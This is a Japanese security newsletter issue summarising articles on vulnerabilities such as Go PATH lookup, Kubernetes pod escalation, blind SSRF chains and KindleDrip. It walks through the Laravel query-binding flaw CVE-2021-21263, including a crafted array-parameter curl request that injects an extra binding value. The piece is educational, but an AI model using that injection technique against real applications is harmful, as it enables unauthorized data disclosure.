Issue 7

🗞️ Article

Command PATH security in Go

go コマンドでの任意コード実行につながる脆弱性 CVE-2021-3115 の解説。
exec.Command は Windows では PATH よりもカレントディレクトリにある同一実行ファイル名の実行を優先するため、任意コードの実行につながる。

Bad Pods: Kubernetes Pod Privilege Escalation

Pod に権限が与えられた場合に何が可能になるか、まとめられている

Falco vs. AuditD from the HIDS perspective

auditd と falco の比較について。パフォーマンスやルール等のカスタマイズにおいて falco に軍配が上がるとのこと。

Popular な OSS における Cache poisoning についての調査。Bottle や Tornado, Rack などで見つかっている。

GitHub security features: highlights from 2020

2020 年からの GitHub のセキュリティ機能の追加について。Push 時の Code Scanning や Secret Scanning の強化など。

A Glossary of Blind SSRF Chains – Assetnote

SSRF を利用してさらなる攻撃を行う例。Memcache や Redis, Docker など様々なミドルウェアを通して任意コードの実行に持ち込む方法など。

On Web-Security and -Insecurity: Insecure Features in PDFs

PDF を利用したコード実行や Information Leak の手法について。実際に脆弱な PDF 閲覧ソフトを評価している。

The Embedded YouTube Player Told Me What You Were Watching

罠サイトを閲覧したユーザーの YouTube の視聴履歴などのプレイリストが取得できた脆弱性について。

本物のウェブアクセスログを使用した、機械学習による異常検知(全データ/ソースコード公開) - WAF Tech Blog | クラウド型 WAF サービス Scutum 【スキュータム】

機械学習を利用して実際の http server のログから異常検知を行う方法について。再現可能な形でコードも提供している。

KindleDrip — From Your Kindle’s Email Address to Using Your Credit Card | by Yogev Bar-On | Realmode Labs | Jan, 2021 | Medium

Kindle 上で、内部で利用されているライブラリを利用して任意コード実行を行い、権限昇格を行えた脆弱性について。

💣 CVE

CVE-2021-21263 Query Binding Exploitation in Laravel

配列のパラメータを利用して query binding を細工し、データの漏洩が可能な脆弱性。
例えば次のコードはリクエストパラメータ idprice=2500 にマッチするデータを返すコードである。

$id = $request->input('id');
$query = Book::where('id', $id)->where('price', 2500)->first();

HTTP リクエストを受け取ると次のような SQL と query binding が実行される。

❯ curl 'http://localhost:3000/book?id=1'
// query
string(52) "select * from `books` where `id` = ? and `price` = ?"
// binding
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  int(2500)
}

しかし、HTTP リクエストを細工し、同じパラメータ名で Array のものを 2 つ用意すると、するとそのまま binding されてしまう。

❯ curl 'http://localhost:3000/book?id[]=1&id[]=2000'
// query
string(52) "select * from `books` where `id` = ? and `price` = ?"
// binding
array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(4) "2000" # 👈 2つめの id の値である 2000 が入っている
  [2]=>
  int(2500)
}

これによって、実行される SQL は select * from books where id = 1 and price = 2000 となり、意図しないデータの漏洩に繋がる。

📗 Book

Software Design 2021 年 2 月号

脆弱性の原理とパッチを例に紹介する連載。2 月号では curl TFTP 実装部分におけるバッファオーバーフロー(CVE-2019-5482)を題材に紹介。